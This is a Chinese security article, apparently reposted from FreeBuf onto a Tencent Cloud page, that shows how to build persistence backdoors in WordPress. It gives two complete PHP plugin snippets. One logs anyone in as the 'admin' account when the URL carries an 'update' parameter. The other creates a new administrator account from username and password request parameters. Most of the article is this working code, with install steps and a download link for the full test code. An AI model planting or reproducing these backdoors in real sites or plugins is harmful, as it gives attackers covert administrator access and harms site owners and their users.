权限后门系列之一:手动打造WordPress权限后门

权限后门是最容易被管理员忽视的环节,通常需要对系统进行全面检查才能发现。本文以Wordpress为例,介绍两种新型的后门方式。

方案1 - 自动登录管理员账号

这种方案较为隐蔽,我们只要找到一个管理员账号,调用Wordpress API,实现自动登录即可。

在测试环境中,我们只有 admin 一个账号。为了登录这个admin 账号,我们需要进行如下操作

// 当带有 "update" 字样时就执行后门
if (! isset ($_GET['update']))
{
     return;
}

$user = get_user_by('login', 'admin');
if (! is_wp_error($user))
{
    // 清空当前认证信息
    wp_clear_auth_cookie();
    // 设置管理员的认证信息
    wp_set_current_user($user->ID);
    wp_set_auth_cookie($user->ID);
    // 跳转到管理后台
    wp_safe_redirect(user_admin_url());

    exit();
}

我们登录服务器,将插件释放在 wp-content/plugins/001-autologin.php,并激活插件,e.g

激活后,就可以成功登录了。这里为了方便演示,用的cURL命令

方案2 - 创建管理账号

这个方法会根据用户输入的账号和密码,创建管理员账号。我们编写如下插件,安装到 Wordpress 里,

$__username = @$_REQUEST['__username'];
$__password = @$_REQUEST['__password'];

if (! isset ($__username) || ! isset ($__password) || username_exists ($__username))
{
    return;
}

// 创建用户
$user = wp_create_user($__username, $__password, "root@localhost.localdomain");
if (! is_wp_error($user))
{
    $user = get_user_by('login', $__username);
    // 设置为管理员角色
    $user->set_role('administrator');
    exit();
}

激活插件后,我们触发一下

使用刚刚提交的账号密码,aka hello:world 登录,发现管理员账号已经添加成功了:

写在最后

本文只是以Wordpress插件为例,讲解如何实现后门机制,后门代码并不一定放在插件里。至于如何隐藏后门,本文不再赘述。

完整的测试代码可以在这里下载:https://rasp.baidu.com/download/

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-12-31

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏androidBlog

git ssh 配置多个账户

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/gdutxiaoxu/article/details...

972
来自专栏帅小子的日常

cookie和session

1454
来自专栏崔庆才的专栏

HTTP基本原理

在本节我们会详细了解 HTTP 的基本原理,了解在浏览器中敲入一个 URL 到获取网页内容发生了一个怎样的过程,了解了这些内容,有助于去进一步了解爬虫的基本原理...

3528
来自专栏云计算教程系列

如何在Ubuntu 16.04上安装和配置Postfix

Postfix是一种流行的开源邮件传输代理(MTA),可用于在Linux系统上路由和传递电子邮件。据估计,互联网上约有25%的公共邮件服务器运行Postfix。

7020
来自专栏Spring相关

Git ssh 配置及使用

前言:前几天在写博客 手把手教你用Hexo + github 搭建自己博客的时候,经常需要用到一些git操作,截了好多图,于是就想干脆整理成一系列的git 教程...

1012
来自专栏LIN_ZONE

Linux各目录及每个目录的详细介绍(转载)

Linux目录和Windows目录有着很大的不同,Linux目录类似一个树,最顶层是其根目录,如下图:

1372
来自专栏北京马哥教育

利用TCMalloc优化Nginx的性能

TCMalloc的全称为Thread-Caching Malloc,是谷歌开发的开源工具google-perftools中的一个成员。与标准的glibc库的Ma...

2545
来自专栏Python爬虫与算法进阶

学习Git(二)基本操作

Git 基础操作 1. 创建版本库 什么是版本库呢?版本库又名仓库,英文名 repository,你可以简单理解成一个目录,这个目录里面的所有文件都可以被 G...

36312
来自专栏EarlGrey的专栏

如何正确配置 Ubuntu 14.04 服务器?

本文将介绍在云厂商购买 Ubuntu 服务器之后,为了确保服务器的安全,开发者应该要做的一些配置。完成本文的操作之后,服务器的安全性将得到更好的保障。

1.6K3
来自专栏性能与架构

web安全 - 文件上传漏洞

文件上传本身是互联网中最为常见的一种功能需求,所以文件上传漏洞攻击是非常常见,并且是危害极大的 常见安全问题 1) 上传文件是Web脚本语言,服务器的Web...

3657

扫码关注云+社区

领取腾讯云代金券